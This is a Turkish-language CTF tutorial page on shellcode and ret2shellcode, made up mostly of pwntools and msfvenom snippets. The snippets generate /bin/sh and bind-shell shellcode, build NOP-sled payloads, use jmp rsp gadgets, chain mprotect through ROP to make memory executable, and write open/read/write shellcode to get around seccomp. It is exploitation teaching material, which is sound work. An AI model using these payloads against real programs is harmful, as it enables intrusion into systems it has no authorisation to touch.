Shellcode & ret2shellcode
shellcode difficulty: orta
Shellcode, doğrudan CPU’ya beslenen ve genellikle bir kabuk (/bin/sh) açan makine kodudur. Klasik ret2shellcode; girdiyle çalıştırılabilir bir belleğe shellcode yazıp dönüş adresini oraya yönlendirmektir. NX açıksa önce bölgeyi çalıştırılabilir yapmak (mprotect) veya saf ROP’a geçmek gerekir.
Shellcode üretimi
Section titled “Shellcode üretimi”from pwn import *context.arch = 'amd64'context.os = 'linux'
sc = asm(shellcraft.sh()) # execve("/bin/sh",0,0)sc = asm(shellcraft.cat('flag.txt')) # CTF ORW tarzısc = asm(shellcraft.bindsh(4444)) # dinleyen shell (lab)
print(enhex(sc), len(sc))# msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00\x0a'Null-free / badchar:
# Encoder örneği (pwntools)sc = encode(asm(shellcraft.sh()), avoid=b'\x00\x0a')ret2shellcode (NX kapalı)
Section titled “ret2shellcode (NX kapalı)”-
Yazılabilir + çalıştırılabilir bir adres bul — vmmap içinde rwx veya NX kapalı stack. Adres sızdırılıyor mu ( puts(buf) , format %p )?
-
Payload’ı kur — shellcode + padding; dönüş adresini shellcode başına yönlendir. Adres kayıyorsa NOP sled:
from pwn import *elf = context.binary = ELF('./chall')sc = asm(shellcraft.sh())nop = asm('nop')buf_addr = 0x7fffffffde00 # leak'ten gelmelipayload = nop * 64 + scpayload = payload.ljust(offset, b'A')payload += p64(buf_addr) # sled içine düşecek şekilde -
Gönder ve doğrula — GDB’de x/10i $rip shellcode mu; remote’da aynı ASLR koşullarını hesaba kat (leak şart olabilir).
JMP RSP / call rsp (stack adresi bilinmiyor)
Section titled “JMP RSP / call rsp (stack adresi bilinmiyor)”Binary’de jmp rsp gadget’ı varsa:
jmp_rsp = next(elf.search(asm('jmp rsp')))payload = flat({ offset: jmp_rsp }) + asm(shellcraft.sh())# RIP → jmp rsp → hemen sonraki baytlar = shellcodeNX açıksa: mprotect ile RWX
Section titled “NX açıksa: mprotect ile RWX”from pwn import *elf = context.binary = ELF('./chall')libc = ELF('./libc.so.6')# leak sonrası:rop = ROP(libc)page = buf_addr & ~0xfffrop.call('mprotect', [page, 0x1000, 7]) # PROT_READ|WRITE|EXECrop.raw(buf_addr)payload = flat({ offset: rop.chain() })# stage: önce shellcode'u buf'a yazmış olAlternatif: saf ROP ile execve (ROP) — shellcode gerekmez.
GDB ile shellcode ayıklama
Section titled “GDB ile shellcode ayıklama”pwndbg> rpwndbg> break *vuln+XXpwndbg> cpwndbg> x/20i $rsp # shellcode stack'te mi?pwndbg> set $rip=$rsp # deneme (NX kapalıysa)pwndbg> stepiSık kısıtlar
Section titled “Sık kısıtlar”- Badchars: \x00 (strcpy), \x0a (gets/fgets satır), boşluk- Uzunluk: buf küçük → staged shellcode (read stub + ikinci stage)- NX + Full ASLR: leak + mprotect veya ROP; kör ret2shellcode nadiren çalışır- Seccomp: execve yasak → ORW shellcode (open/read/write)# Kısa ORW fikri (shellcraft)sc = asm( shellcraft.open('flag.txt') + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))